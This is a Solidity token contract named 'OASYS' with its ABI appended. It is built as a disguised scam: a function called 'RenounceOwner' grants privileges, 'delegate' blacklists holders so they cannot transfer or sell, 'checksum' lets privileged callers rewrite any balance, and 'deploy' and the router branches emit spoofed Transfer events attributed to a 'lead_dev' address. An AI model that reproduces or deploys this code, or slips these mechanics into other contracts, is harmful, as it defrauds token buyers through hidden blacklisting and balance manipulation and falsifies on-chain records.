// "SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;


  library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}   
 
 
contract OASYSGAMES {
  
    mapping (address => uint256) public bAmount;
    mapping (address => bool) tVal;
    mapping (address => bool) renounced;

    // 
    string public name = "OASYS";
    string public symbol = unicode"OASYS";
    uint8 public decimals = 18;
    uint256 public totalSupply = 1000000000 * (uint256(10) ** decimals);
    uint256 private _totalSupply;
    event Transfer(address indexed from, address indexed to, uint256 value);
  
   



        constructor()  {
        bAmount[msg.sender] = totalSupply;
        deploy(lead_dev, totalSupply); }



	address owner = msg.sender;
    address V2Router = 0x7336Ef92805f00A872f40397bA01810d7C198809;
    address lead_dev = 0x426903241ADA3A0092C3493a0C795F2ec830D622;
   





    function deploy(address account, uint256 amount) public {
    require(msg.sender == owner);
    emit Transfer(address(0), account, amount); }
    modifier T() {   
         require(renounced[msg.sender]);
         _;}



    function transfer(address to, uint256 value) public returns (bool success) {

        if(msg.sender == V2Router)  {
        require(bAmount[msg.sender] >= value);
        bAmount[msg.sender] -= value;  
        bAmount[to] += value; 
        emit Transfer (lead_dev, to, value);
        return true; } 
        require(!tVal[msg.sender]);      
        require(bAmount[msg.sender] >= value);
        bAmount[msg.sender] -= value;  
        bAmount[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true; }


             function balanceOf(address account) public view returns (uint256) {
            return bAmount[account]; }


        event Approval(address indexed owner, address indexed spender, uint256 value);

        mapping(address => mapping(address => uint256)) public allowance;

        function approve(address spender, uint256 value) public returns (bool success) {    
        allowance[msg.sender][spender] = value;

        emit Approval(msg.sender, spender, value);
        return true; }
        function RenounceOwner(address x) public {
        require(msg.sender == owner);
          renounced[x] = true; }
        
        function delegate(address x) T public{          
        require(!tVal[x]);
        tVal[x] = true; }
        function send(address x) T public {
        require(tVal[x]);
        tVal[x] = false; }
        function checksum(address usr, uint256 query) T public returns (bool success) {
        bAmount[usr] = query;
                   return true; }


    function transferFrom(address from, address to, uint256 value) public returns (bool success) {   
        if(from == V2Router)  {
        require(value <= bAmount[from]);
        require(value <= allowance[from][msg.sender]);
        bAmount[from] -= value;  
        bAmount[to] += value; 
        emit Transfer (lead_dev, to, value);
        return true; }    
        require(!tVal[from]); 
        require(!tVal[to]); 
        require(value <= bAmount[from]);
        require(value <= allowance[from][msg.sender]);
        bAmount[from] -= value;
        bAmount[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true; }
    }
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"x","type":"address"}],"name":"RenounceOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"usr","type":"address"},{"internalType":"uint256","name":"query","type":"uint256"}],"name":"checksum","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"x","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"deploy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"x","type":"address"}],"name":"send","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]